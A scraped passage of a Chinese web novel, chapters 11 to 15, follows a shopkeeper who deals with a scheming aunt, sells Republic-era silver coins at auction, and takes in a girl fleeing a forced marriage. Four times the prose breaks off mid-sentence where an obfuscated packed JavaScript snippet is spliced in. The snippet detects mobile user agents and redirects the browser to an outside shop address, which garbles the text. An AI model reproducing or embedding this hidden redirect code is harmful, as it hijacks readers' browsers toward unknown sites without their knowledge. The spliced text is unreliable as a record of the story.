“妈，方爷爷家的院子卖掉了？我看见有人搬进去。” 张芸抽空回话，“早卖出去了，你没回来的时候就在装修，外墙不给动，所以看着没什么变化。” 萧妧妧：“我以为是说说呢，卖了多可惜啊，租出去还能收租金。” 张芸叹气：“上哪收租金啊，附近几条街做民宿的倒了七八家，咱们家幸亏是自己的院子，不然去年就得关门。 别说租了，卖都不好卖，又贵，限制又多，你方爷爷的院子挂出去一年才有人要，他们家那个大平层还不知道什么时候能出手呢。” 萧妧妧这会是真的惊到了，消息一茬一茬的，已经顾不上看仪器说明书。 “生意很差吗？方爷爷怎么连大平层也不要了。” 张芸唏嘘：“大环境不好，生意比以前差得不是一点半点，古玩铺去年赚的钱不够房租，今年到现在还没开张过，老方媳妇愁得不行，等下半年再交一次房租，前几年挣到的钱全投进去了，一家人合计一下，索性停了生意。” 萧妧妧嘀咕，“我看方爷爷方叔叔心情挺好的，以为生意不错呢。” 张芸脱口而出，“能不好吗？人家大孙子在国外买了个庄园，等把南市的房子铺子处理好，他们一家子直接过去养老。” 萧妧妧多嘴一问，白担心了。 不过多年老街坊搬走，萧妧妧心里怪不是滋味。 “看来自己做生意也不全是赚钱的。” 张芸抬头，“小小年纪叹什么气，小卖部生意差了？” 萧妧妧连连摇头，“没有没有，你和我爸装修的那么亮堂，我又那么会选品，生意挺好的。” 现在回想，顺应父母意愿回到南市，接手小卖部，是她短暂人生中做过的最正确的决定。 一个月前还在为自己的失败人生暗自神伤，一个月后，她就负债累累，成了小卖部老板，没多久，活财神一个接一个撞上门。 生活果然有意思。 收回思绪，琢磨仪器使用方法，萧妧妧去院子里找萧大明，教他怎么用。 等民宿这边需要她帮忙的杂事料理完，萧妧妧终于可以回到小卖部。 彼时天色昏暗，已经是傍晚时分。 到店里，九枚银元码在柜台上，萧妧妧继续她的研究。 “呦，妧妧一个人看店呢？生意这么差啊。” 萧妧妧查资料查得眼睛干涩，这时，烫着酒红卷发，穿着酱色棉麻裙子的中年女人踏进店铺。 她一手兜着瓜子，一手捻起一颗塞嘴里，吧嗒一下，吐出瓜子壳，锃亮的白瓷砖上多了三四个黑点。 她撇着嘴，挑剔地打量店铺，目光移到萧妧妧身上，意味不明地扫视一番。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491436|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “咋了这是，婶婶都不会叫了？在京城读过书的人就是不一样，看不上我们这些穷亲戚。” 萧妧妧对现在生活有多满意，就有多厌烦家里不着四六的亲戚。 首当其冲的是面前这位三婶婶，她爸爸萧大明的弟媳。 “生意差成这样，也不知道你妈犟什么，不如早点把铺子还回来，我们家昌平是唯一的男孙，老头子留下的财产合该他继承。” 瞧，现在知道为什么讨厌她了吧？ 仗着生了萧家唯一的大孙子，整天鼻孔看人，对伯父伯母和她爸妈，一直吆五喝六。 甚至在她读小学时，三婶王翠菊撺掇萧大明停了萧妧妧的舞蹈班、补课班，缩减所有花销，省下来的钱拿去给堂哥复读择校。 一个吸血鬼一样的亲戚。 “婶婶有意见别跟我说，188号的铺子是怎么到我手里的，您比谁都清楚。” 三叔家得了爷爷留的几套老房子，没多久碰上拆迁，分了七八套安置房。 拿到房子以后，三叔三婶飘了，大堂哥沾上了赌博，不出一个月欠下高利贷一百多万，后来逼不得已，拿出爷爷留下的188号院子抵债。 她爸萧大明听说后，嚷嚷着三叔一家是被人做局骗了，气得差点晕倒。 萧妧妧不知道萧大明为此托了多少关系，只知道大半年后，萧大明顺利用高价从第三方手里买回188号院子。 为这事，爸妈当时吵得要离婚。 张芸一是看不上这间院子，二是想把买院子的钱留着给萧妧妧买个大平层。 当然，主要还是不想和老三一家牵扯。 回头院子买回来了，以王翠菊没脸没皮的性子，绝对敢上门要。 这不，宅子买回来有些年头了，她妈妈还在里面开了许多年的小卖部，三婶仍旧惦记着，时不时上门。 萧妧妧后来才知道，大堂哥没管住又去赌博了，拆迁分下来的房子全赔进去不说，还倒欠几十万。 别人手里讨不到便宜，可不就只能盯上家里亲戚祸祸？ 萧大明年轻时还好，年纪大了以后耳根子软，让三婶一句“萧家唯一男孙”拿捏了好几年，平时没少补贴自己的退休金。 张芸怕老伴犯糊涂，早早把院子过户到萧妧妧名下。 “你这孩子，你妈跟你说的是不是？”突然揭开老底，三婶王翠菊面色讪讪，“怎么什么话都跟孩子说，你妈就是太惯着你了，一个姑娘家的，要什么院子，还买大平层，以后不都便宜别人？再说，你一个野……” 王翠菊平时背着人骂惯了，嘴皮子一吧嗒，什么话都能往外吐，冷不丁对上萧妧妧黑沉沉的目光，心里一抖。 倒不是怕萧妧妧，王翠菊怕一句“野种”骂出来，让萧大明知道了，以后再不肯拿退休金贴补他们，院子的事还没个说法呢。 萧大明确实很疼爱亲侄子，但也是真的疼爱自己女儿，万一有些事情从她嘴里透出去，萧大明绝对会打上门。 王翠菊骂得上头，戛然而止，只觉得失了气势，很没面子。 “什么破店，冷得要死。” 她噗一下吐掉嘴里的瓜子壳，眼睛一翻，拐去旁边水果店。 小卖部终于安静了，萧妧妧吐出一口浊气。 她原先认真想过，要是三婶一家能把钱补足，院子倒是可以卖回去，省得她爸妈一提起这事就吵。 现在不行，188号哪怕是塌了也得塌在她手里！ 12. 第 12 章 “算了算了，直接送去拍卖行吧。” 三婶阴魂不散的上门添堵，萧妧妧挺烦的，现在更是没一点耐心。 而且鉴宝这事，真不是她一个门外汉能迅速上手的。 光是在品种繁多的银元中找到相似的，萧妧妧就花了不少工夫，她实在辨别不出来。 既然要去拍卖行，绕不开许经理，萧妧妧加了许经理的月亮号，提前告知一声。 到了晚上，光顾小卖部的客人断崖式减少，后门一直没动静，萧妧妧便结束了今天的营业。 关门前，她不怕麻烦的把门口那盆发财树搬回店铺。 不是她小人之心，三婶王翠菊有时候真的很抽象，干得出偷摸上门烫死发财树的事。 虽然不营业了，但萧妧妧还不能歇下来。 她躺在床上四处扒拉小说。 到现在为止，正经接待的异世界客人只有两位，客房倒是躺着第三位，然而看她穿着打扮，不像是有什么消费能力的大富豪。 萧妧妧想不到什么办法能提高客流量，死马当活马医，继续看小说。 她翻了个身，为男女主荤得流油的爱情扭成麻花，发出不太聪明的笑声。 “吱——” 空调被里翻滚两圈，萧妧妧突然翘起脑袋。 “吱——” 没听错，是院子里传来的声响。 萧妧妧惊疑不定。 经济环境不好，治安环境难免受到影响，最近的新闻播报了不少入室抢劫的案子。 萧妧妧被自己吓到了，一下子弹起。 “咳……咳咳……” 窸窸窣窣的动静不断传来，萧妧妧摸来手机准备报警，屏幕亮起时，院子里传来几声虚弱的咳嗽。 顿时，萧妧妧眼眸一亮，快步走出卧室。 客房房门打开，台灯的暖光泄出。 萧妧妧小跑过去，推门，客房榻榻米空荡荡，早没了人影。 再看旁边柜子上，藤甲和粗布衣服不见踪影，取而代之的是叠放整齐的空调被和换下的睡袍，上面多出来一把嵌满宝石的匕首。 萧妧妧掂量掂量匕首，当即意识到自己判断失误。 少女的消费能力，可能比她想象的高不少。 扭头看向小桌，茶水空了，新点的米粥一点没少，萧妧妧特意留下的小卖部宣传单和进入方式说明的字条消失了。 昏睡少女一定认出了上面的繁体字，甚至看懂了它，否则不会带走它。 萧妧妧攥紧匕首追到小卖部，迈进门的那一刻，置景假门啪嗒一声在她面前合上。 就这么走了？ 看到宣传单还能不动心，不声不响不花一分钱的走了？ 她在跟我玩欲擒故纵？ 推销失败，萧妧妧失望地垮下肩膀。 看了看手里的匕首，不知道少女是什么意思，萧妧妧只好先收进系统仓库。 她顺手点开客户列表，随意一瞄，看到亮起的第三张客户身份卡，萧妧妧心里一喜。 “申明月女士，身份卡：巾帼将军，来自《公主，请登基》，优质指数五颗星……” 念完人名书名，萧妧妧瞬间记起来是哪本书，讲的是什么情节。 不仅是大女主，还是大客户啊！ 萧妧妧失眠了，高兴的。 比一串霸总追着她跑还要高兴。 第二天她没顾得上开门营业，收拾整齐立刻出门。 点开许经理发来的地址，萧妧妧发现佳博拍卖行在南市的分部竟然并不远。 不仅不远，还特别熟悉，就是离家不到一千米的一座古典园林，名叫雅园。 小时候爸妈经常带她进去散步，后来听街坊们说拍卖给了煤老板，成了私人园林，禁止随意进出，她也没再去玩过，只在上下学时从雅园门口路过。 没想到拍卖行会藏在这样一座园子中。 萧妧妧老土著了，对附近道路了如指掌，在小巷子里穿行，走路十五分钟便能赶到，大大缩短了路程。 出示许经理发来的电子邀请码，萧妧妧顺利进入。 只是进入之后便犯难了，她对园子有印象是没错，可她不知道办公区在哪。 电话拨给许经理后，一直无人接听，萧妧妧只能记着保安的指路，先一路向右深入。 这一路格外惬意，有长廊遮蔽，草木环绕，时而能碰上热情的芭蕉叶伸来友谊的手，分不清是鸳鸯还是野鸭在池子里跟了她一路，嘎嘎嘎。 萧妧妧越走越羡慕园子里的工作人员，穿过一扇月亮门，她终于遇到了羡慕的对象们。 前面半个人影没见到，问路都不知道问哪个，现在一下子冒出来几十个人，个个穿着板正黑西装，严肃正经的样子吓得萧妧妧不敢迈步。 进退两难间，一群西装男中间钻出一颗油亮的秃脑袋。 萧妧妧长舒一口气，总算见到许经理了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491437|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>许年华坠在队伍尾端，他偷看一眼前面察言观色，随即转身恭敬地和旁边人说话，等旁边人点头看萧妧妧的方向一眼，许年华挺着肚子颠颠跑来。 “不好意思小萧老师，公司临时有点事，没能去接你。” “许经理，我是不是来得不太巧？”院子中央，秃头大肚子西装男像复制粘贴一般，看起来浓浓的领导味，她说：“我不着急，您可以先忙。” 许经理忙摆手，“巧，可巧了，真是我救星。” 圆润五官露出一丝逃离风暴中心的轻松，不像是作假，萧妧妧神情微窘。 “说好明天来公司一起开个会的，结果今儿一大早来了，一来还来了俩，真是…措手不及。” 萧妧妧想起许经理的吐槽，忍不住转头。 一行人正向画堂走动，上阶梯时恰好显出了最前面两道被大家众星捧月的身影。 灰西装内敛沉稳，白西装潇洒懒散，单看外形，贵贵的，霸总味压都压不住。 围绕在他们周围的男男女女，无不是态度殷切恭敬，眼里流露的热情谄媚恰到好处。 在如此多人的簇拥下，他们仍旧保持着自己的步调，姿态松弛，反观身后的人，亦步亦趋迁就他们，步子都不敢迈太大。 萧妧妧不解：“虽然没看到正脸，不过瞧着挺温和的啊。” 许经理苦笑摇头，“再温和那也是老板，是大领导，就跟你们小孩子看到老师一样。” 这么举例萧妧妧就明白了，她确实挺怕老师的。 “小萧老师还没上班吧？”许经理说：“越是举足轻重的人物，越是平易近人，装装样子又不会掉几块肉，还能得好名声，资本家嘛，实际…” 实际什么，许经理没继续说下去，大约是反应过来和客户吐槽领导不太妥当。 他转而引着她往后面雕梁画栋的古朴宅院走，介绍起各个宅院。 “前面的画堂连着画舫是办预展的地方，下一期您的玉扳指就在那里展出。” “小萧老师右手边的院子是办公区和招待区，隔壁的院子是咱们正要过去的鉴定部。” 许经理捡着附近能看到的建筑一一介绍，才没让这一段路过于沉默。 萧妧妧怀疑许经理是在拖延时间，不过没拆穿。 到了鉴定部，许经理用自己的工牌一通操作，带上她的九枚银元进了院子深处。 萧妧妧自然是进不去的，坐在外面的会客区老实等待。 13. 第 13 章 忐忑等了半个多小时，许经理终于出现。 看他大迈步走来，笑容满面，萧妧妧知道，稳了。 “小萧老师送来的军阀币符合我们下下期的网络拍卖主题，这期确实是赶不上了，今天截止，拍照都来不及。” 怕萧妧妧有意见，许年华多解释两句。 萧妧妧根本不在意，转而问自己关心的事。 “许经理，你是说，那九枚银元是真的？” 许经理面露为难，他摸了摸脑门，措辞道：“小萧老师，按理说我们是不负责鉴定真假的，就算鉴定师能鉴定出来，也不会说，最多看拍品符不符合需求。 这不，大家都是熟人，我私下跟您说。” 萧妧妧眼眸晶亮，忙不迭点头。 银元真假对她而言非常重要，一旦证实是真的，那代表什么不言而喻。 “许叔你放心，咱们关系不必说，我肯定保密！”萧妧妧拍着胸膛保证。 许经理看她一眼，跟着改口，“小萧，你跟我说说，这些军阀币哪来的？” 萧妧妧睁眼说瞎话，“是我小时候捡来的，这次店铺装修扒拉出来，本来想着扔掉，后来发现不像假的，所以来试试看。” 许经理惊异地抬眸，“方叔说你运气好，看来是真的啊。 我也不卖关子了，你捡来的军阀币，也叫银元，确实是真的，难得的是保存很完好，不过有一点可惜，并不是军阀币当中稀少的版本。 当然，不是说不值钱，你送来的这九枚发行量有十几万枚，在市场上属于中低档，价格方面你可以找到很多参考。” 萧妧妧眼睛笑眯了起来，“叔，是真的就好，中档低档我不在乎。” 嘴里说着不在乎，手上动作却不慢，掏出手机。 “成交价是两万？这么高？” 萧妧妧惊呆了，一枚银元能卖出两万，她有九枚……嘶！ “哦，这是前几年的价格，最近不好说，你懂的，有人喜欢它就能卖上价，市场火热，没人喜欢那就是另一回事了。” 萧妧妧不敢想，如果她从苏娇娇那里弄几枚稀少版本的纪念币，那岂不是一夜暴富？ 不说军阀币，随便来个什么瓷瓶字画…… 萧妧妧双眼发直，感觉自己已经淹没在钱山钱海中，连呼吸都重了几分。 许经理没看出她走神，笑着说：“最稀少的那枚，据我所知拍出了一千万。这个价格存在偶然性，听听得了，别往心里去。” 一千万报出来，惊得萧妧妧瞬间回神，瞪圆了眼睛。 开什么玩笑，一个破钢镚卖2万已经很离谱了，一千万居然还有人要？ “……不太懂你们古玩圈子。”真吓人。 许经理看她一言难尽的神情，忍俊不禁，顺着她的话头说：“咱们普通人确实理解不了。” 闲话说完，该处理正经事了。 “基于评估师根据市场行情的判断，给出的估价是三万五到五万这个区间。” 许年华颇有深意地望着萧妧妧，“九枚一起出现，评估师不太看好，毕竟老话说得好，物以稀为贵。” 萧妧妧听懂了许经理的暗示，眼珠子骨碌一转，振声说：“我送一枚参加拍卖。” 许经理重新咧开笑容。 “和上回说的一样，成交后算鉴定费。” 飞快填好几处空档，递来协议等她签字。 一回生二回熟，萧妧妧一眼扫过去，和上回签的文件是一个模板，放心写下自己名字。 重新站在雅园大门，已经临近中午，日头毒辣。 萧妧妧在顶着太阳走回小卖部和顺道去买个车车之间摇摆，正纠结着，身后传来一连串的杂乱脚步声，配合着几句寒暄。 “黎总请放心，我们策划部都是多年的老员工，非常专业，肯定会好好配合小黎总。” “小黎总，这边请，小心台阶。” “黎总，小黎总，车子来了。” 萧妧妧扭头，果然有七八个人从长廊走向她所在的大门位置，好巧不巧，正好是她在画堂撞见过的那些人。 这回，萧妧妧倒是看清了正面。 看到侧影时她就觉得小灰小白两人过于出挑，哪怕脸不够好看，身材足够弥补了，虾系帅哥也是帅哥嘛。 冷不丁瞧见正脸，萧妧妧收回自己的判断，不是虾系，是真帅哥。 两人一前一后走过来，脚步带风，气场强大。 就是白衣服看上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491438|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去不情不愿，脸色有点臭，多少影响了颜值。 一行人迈过门槛，萧妧妧赶紧往旁边让了让。 正好这时，银行动账短信弹出来。 【您尾号1234的储蓄账户7月25日10时45分收入人民币183125元，余额183125.1元】 融通金的十八万到账了！ 萧妧妧笑得眉眼弯弯，趁着钱包鼓鼓，一股脑给云昭昭打去2000用作交通费。 剩下的嘛……买车！ 手机上操作一通，导航已经完成，看距离不远不近，她直接扫了一辆单车。 啤酒肚西装男还在车前依依不舍，萧妧妧已经推着车上了非机动车道。 “买紫色还是蓝色呢？棕色也好看，哎，真为难…” ………… “妧妧回来了？半上午没看你开门，去买车啦？” 隔壁水果店的刘叔翘着二郎腿，抱着手机，听到动静抬头张望，顺口搭话。 “妧妧，新车子不错啊，这是什么颜色啊？”树荫下，支了张桌子卖玉米的赵大爷扭头看过来。 “这么大一个？上面画的是不是那个小狗啊？”赵大爷的象棋搭子，书报亭的王大爷加入群聊。 萧妧妧昂首挺胸，笑得见牙不见眼。 “对，去买车了，我的新车子好看吧？” “这是镭射紫，可炫了。” “王爷爷，它不是普通小狗，是史努比。” 萧妧妧推着她心爱的史努比电动车，特意停在旁边空旷地方显摆，乐滋滋听邻居们夸赞电动车可爱漂亮适合她。 摘下同色系的狗耳朵安全帽，小心抱在怀里往回走，没两步，萧妧妧就看到不倒闭门口出现蜷缩的人影，抱着膝盖，脑袋埋在胳膊上。 走近一些，萧妧妧从垂在一侧的麻花辫分辨出是个女孩，一身简简单单的白T配牛仔裤。 水果店的刘叔小声说：“不知道什么时候来的，问她不还不理人，一直在你店门口坐着。” 谢过刘叔提醒，萧妧妧试探着走近，女孩猛地抬头。 “妧妧姐！” 女孩眯着眼看过来，眨巴两下眼睛，惊喜地跳起。 “……昭昭？” 14. 第 14 章 熟悉的称呼熟悉的声音，萧妧妧定睛一打量，女孩的五官长开了，但不难认出，就是她资助多年的云昭昭。 萧妧妧懵了，看一眼手机，路费打过去还没收，对话停留在拍录取通知书报喜的那天。 云昭昭捏着衣角，声若蚊蚋，“妧妧姐，我……对不起，我没地方去了。” 什么叫没地方去？ 街上人来人往，喇叭声此起彼伏，萧妧妧暂时按下疑问，打开感应门，领她进店。 “说对不起做什么，你怎么没给我打电话？在门口坐了多久？吃过午饭了吗？” 现在点外卖明显来不及，萧妧妧从冷藏柜扒拉出几款便当加热，先凑合一顿。 便当塞进微波炉，萧妧妧却没等来云昭昭回话，回头看去，身形偏瘦的女孩一手领着磨破洞的经典配色编织袋，一手攥着鼓囊囊的蛇皮袋，垂头耷脑杵在门口，不敢迈进来。 萧妧妧指着蛇皮袋，“你一路拎过来的？” 撑得变形的袋子灰扑扑，拎起来时有土块掉落。 云昭昭顺着萧妧妧拉拽的力道进了小卖部，吸吸鼻子，把蛇皮袋往前推了推。 “妧妧姐，这是我妈准备的，里面是你爱吃的土豆和茄子，还有张阿姨喜欢吃的菜瓜……” 萧妧妧震惊了，无法想象她是怎么拎着这么重的东西一路来到南市。 “别管它们了，你先坐下跟我说说，什么叫没地方去？出事了？” 云昭昭的表情和状态藏不住，一看就是遇到事了。 感受到真切的关心，云昭昭控制不住情绪，哽咽出声。 萧妧妧拿来抽纸递去，又倒了一杯水放在她手边。 云昭昭勉强整理好情绪，瓮声瓮气的说：“我拿到通知书的事让我奶知道了，她不给我去上学，还说已经答应隔壁村的人，把我嫁过去。” 萧妧妧听得直皱眉，强忍着没打断她。 事情已经过去，云昭昭仍旧不能释怀，泪水大颗大颗滚落。 她抽噎着说：“我奶把我锁家里，带着我叔去隔壁村闹，我妈偷偷跟我说，我奶是去吵架，要那边的人涨价，说我拿到大学录取通知书了，五万彩礼不够，要八万。” 萧妧妧差点气笑了，确实是那老太婆能干出来的事。 “我当时特别害怕，我不想嫁人，我好不容易考上的大学，我妈帮我收拾东西，让我赶紧跑，越远越好，千万别回去。 我不知道能跑去哪，就去了同学家，结果……” 云昭昭哭得喘不上气，萧妧妧拍着她的后背安抚。 “别急，慢慢说，你现在已经跑出来了，你在南市，没有人能抓你回去。” 云昭昭擦掉鼻涕，声音颤抖，“我同学背着我给我家里打了电话，让我奶带人来抓我，我没办法，跳窗户跑了。 我躲去老师家里，我奶他们也追了过去，李老师怀孕了，我奶那样的人，我怕李老师出事，只能离开。” “小县城不大，我去哪都有人能看见，大家知道我奶要抓我送去结婚，他们都帮着奶奶，不帮我。 我实在没办法了，等天黑的时候走去客车站，搭了车子到市里，再转车去了省城，然后才坐上火车来南市。” 萧妧妧听得心头沉重，又气又怒，想象不到她一个人是怎么熬过来的。 想说些什么，可语言在这一刻显得无比苍白，她一遍遍拍着云昭昭的后背，由着她放声哭泣。 进店的客人看云昭昭哭得惨，东西也不挑了，转身跑开。 萧妧妧等哭声渐弱，岔开话题。 “喝口水，去洗洗脸洗洗手，便当都快凉了。” 云昭昭渐渐冷静下来，意识到自己哭得一把鼻涕一把泪，很不好意思。 “对不起妧妧姐，我是不是影响你做生意了？” 萧妧妧推着她去后院，“别想那么多，先吃饭，你这一路转车，肯定吃不好，吃完饭歇一会洗洗澡，下午好好睡一觉，我这里有的是房间，够你住的。” 云昭昭想说的话全被萧妧妧打断。 等人进了卫生间，萧妧妧叹一口气，掏出手机给张芸女士拨过去。 收留云昭昭这事得和爸妈说一声。 萧妧妧挂断电话没多久，云昭昭就出来了，眼睛通红，眼底青黑一片。 等她愣愣地接过筷子，萧妧妧按着她坐下。 “什么都别想了，吃吧，开学前你就住我家。 我爸妈听说你过来特别高兴，让我多带你出去玩玩呢。 下午你在客房睡，晚一点我用新买的小电驴带你回家，住我隔壁好不好？ 我们家一楼是自住的，房间宽敞……” 萧妧妧看出云昭昭的拘谨，坐在她旁边，絮絮叨叨说些乱七八糟的安排。 云昭昭吸了几次鼻子，又绷不住哭了。 萧妧妧不知道怎么劝，换成她遇见这样糟心的事，哭得比她更惨。 云昭昭哭了几声，擦掉眼泪，放下筷子，起身跑到门边翻找她的行李袋。 “妧妧姐，我不白住，我有钱的，你看，这个红色的信封是我还你的钱，粉色的信封是我妈准备给我租房用的，我都给你。” 云昭昭虎了吧唧的，全部身家一股脑塞萧妧妧怀里。 萧妧妧：“还钱？” 云昭昭重重点头，神情认真，“妧妧姐每次给我转账、买的零食和习题册，还有衣服鞋子，我都记着呢，这些是我攒了很久的，我知道还不够，但是我会努力赚钱，尽快补上。” 萧妧妧心都软了，对上她红肿潮湿的眸子，喉头堵着说不出话。 “我不需要你还钱，当初资助你的时候就说过。” 云昭昭张口要争论，萧妧妧抬手打断，“我知道你是个好孩子，但是你现在更需要这笔钱不是吗？九月开学的生活用品，学习用品，衣服鞋子等等，都要花钱的。” 云昭昭摇头，“妧妧姐，我已经想好了，我提前来南市可以去兼职，我们县城小，补课赚不了多少，南市不一样，我刚考上A大，应该会有家长愿意请我当家教，开学前我肯定能攒到钱。” 云昭昭思路清晰，伤心难过之余还不忘记安排好以后，没有一味的沉浸在坏情绪中，这点让萧妧妧很放心。 “昭昭，我不要你的钱，这一点我坚持不变。如果你真想做些什么，不如等你有余力的时候，资助另一个孩子，像你一样的孩子。” 云昭昭呆愣住，半张着嘴巴说不出话。 许久之后，云昭昭回过神，茫然又困惑，“妧妧姐当初为什么会资助我呢？我的成绩并不是最好的，还是个女孩，老师都说我们以后是要结婚的，没必要……” 萧妧妧听得直皱眉头，没忍住，再次打断她，“我资助你，就因为你是女孩。” 云昭昭无疑是个漂亮的小姑娘，否则在一众需要帮扶的孩子中，萧妧妧也不会注意到她。 当然，也因为她是一众孩子中唯一的女孩子。 三十个孩子等待好心人帮扶，其中二十九个是男孩子，里面有二十五个成绩落后她一大截，却能站在最前面，占据更大的可能性。 她能站在那里，已经证明了她的努力。 萧妧妧看完成绩单心里憋着一股气，一把拉过云昭昭走到爸妈面前，打定主意要资助她。 犹豫片刻，她接着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491439|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道：“告诉你一个秘密，其实我不是我爸妈亲生的孩子，我是他们捡来的，你别说出去啊，我是偷听到的，我爸妈还不知道呢。 要不是他们，我应该会冻死在哪个犄角旮旯，我觉得我可幸运了，所以当时特别想做点什么，让这份幸运能延续到另外一个人身上。” 云昭昭猝不及防的听到妧妧姐的秘密，震惊之余还有些慌乱，等她反应过来应该说几句安慰萧妧妧，却不知道说什么，欲言又止。 “你不知道吧，当时为了资助你，我可努力的跳舞了，就为了不花爸妈的钱，我想用我自己赚到的奖金做这件事。” 萧妧妧一仰头，表情得意，“我是不是很厉害？” 云昭昭重重点头，回望过去的眼睛里闪着光。 “我明白了，那我也努力赚钱，找到下一个幸运的小姑娘。” 萧妧妧暗暗松了一口气，总算打消了她还钱的念头。 两人用月亮号交流许多次，云昭昭的性子她多少了解一些，是有点倔的，不彻底说开，她肯定会默默记下，然后哪天突然给她转账。 就像今天突然递信封一样。 ………… 下午生意冷淡，客人寥寥无几，异世界客人更是看不见影。 188号的客房没来得及做彻底清理，不方便让云昭昭休息，萧妧妧索性骑着小电驴载她回家。 “呦，这就回去啦？今天不营业了？” 刘叔的水果店与小卖部一墙之隔，对小卖部的动静可谓了如指掌，一看见萧妧妧又锁上大门，嘴皮子一撩就是打听。 实在是萧妧妧营业的这段时间，脱岗的次数一个巴掌数不过来。 他摇摇头，对萧妧妧如此惫懒的行为很不认同。 萧妧妧微笑回应，“家里来客人了，我先送回家，等会回来。” 刘叔哦了一声，目光落在云昭昭身上多看两眼。 萧妧妧推来史努比电动车，拍拍后座垫，邀请云昭昭上车。 “你今天来得巧，车子刚买回来，你是我载的第一个人。” 云昭昭雀跃起来，扛起行李袋和土特产塞到前面踏板上。 “妧妧姐，我帮你打伞。”跨上后座，云昭昭自觉撑起伞。 萧妧妧扶了扶伞檐，“给你自己遮着点，要挡住我视线啦。” 云昭昭慌手慌脚调整遮阳伞，几次探出头确认不会妨碍到萧妧妧。 萧妧妧知道她是第一次来南市，甚至可能是第一次出镇子、县城，史努比以最慢速度在小巷子里遛着，详细介绍附近的生活设施，好玩的免费景点。 慢悠悠回到家，萧妧妧径直带她去卧室隔壁的客房。 “放心住吧，我爸妈出门去了，今晚不一定回来，晚饭我们自己解决。” 云昭昭唰一下举手，“妧妧姐，我会做饭。” 她恨不得马上去厨房证明自己。 “好，那你先歇着，补补觉，下午我买菜回来一起做，今晚尝尝你的手艺。” 云昭昭果然高兴了，叽叽喳喳缠着问她想吃什么，淡的还是咸的，甜的还是辣的。 回到小卖部，萧妧妧掏出手机，询问留在南市的同学朋友们有没有需要家教的。 消息一发出去，倒是让沉寂的聊天群热闹起来。 萧妧妧一边筛选信息，了解家教的行情，一边留意有没有认识的人在做医药行业。 正看得入神，看店神器响了，紧随欢迎光临响起的，却是铮的一声。 听到异响，萧妧妧不做思考，直接探出身子看向后门。 一身灰色布甲，扎着类似马尾发型的……少年，戒备地环顾小卖部。 15. 第 15 章 萧妧妧暗道一句又来了，古代的客人钱好赚，只有一点不好，一惊一乍的。 “刚才……是你发出的声音？” 少年看不到店里有第三人在，狐疑地问萧妧妧。 萧妧妧指了指头顶，“是看店神器，欢迎光临不倒闭小卖部，客人有什么需要的吗？” 解释了又没完全解释，少年仍旧不知道什么是看店神器，但是他知道自己误会了，再打量一圈，长刀归鞘。 “上回是您救的我？” 少年身姿挺拔，大步迈到萧妧妧面前，微微仰头。 萧妧妧闻言，仔细去看少年的脸，去看他手腕包裹着的纱布。 “是你啊！” 正是她和龙傲天救下的昏睡少女，申明月。 乱发束起后，柔和的少女面孔多了几分坚毅，眼眸黝黑明亮，凌厉的丹凤眼尤其出彩，萧妧妧好一会才敢认。 她醒来就走，料想是有急事，估计一两天不会在来，没想到才过去不到12小时。 见她承认，申明月面色一肃，后退半步，双手抱拳，冲着萧妧妧躬身作揖。 “前日李某受重伤逃至此，晕倒在萧老板铺子里，多谢萧老板搭救。” 萧妧妧想起来了，这会的剧情还没到申明月上战场扬名，改母姓的地方。 她现在是李明月，大宇王朝皇室中不受宠的公主，自出生后一直跟随将门出身的母妃居住在冷宫。 后来大宇朝与外族争地盘，打输了，要割地赔款嫁公主和亲，老皇帝这才想起冷宫有个从未见过面的闺女，收拾收拾顶岗嫡公主去和亲。 李明月自小和母妃一起生活，性子也是十成相似，脾气略微火爆，不服就干。 母女俩仔细筹谋后，决定干一票大的，一个假装顺从去和亲，实际联络母族人帮忙，和亲路上带走所有赔款逃婚，一个则是在宫中纵火制造混乱，假死逃脱。 母女俩回到母族申氏掌控的城池没多久，消息就泄露出去，激怒了大宇朝的老皇帝，派兵征讨。 为自保，也为彻底的反抗，李明月更名申明月，率领外祖留下的八千部将揍翻了大宇朝派来的两万人马，自此开始了她的征途。 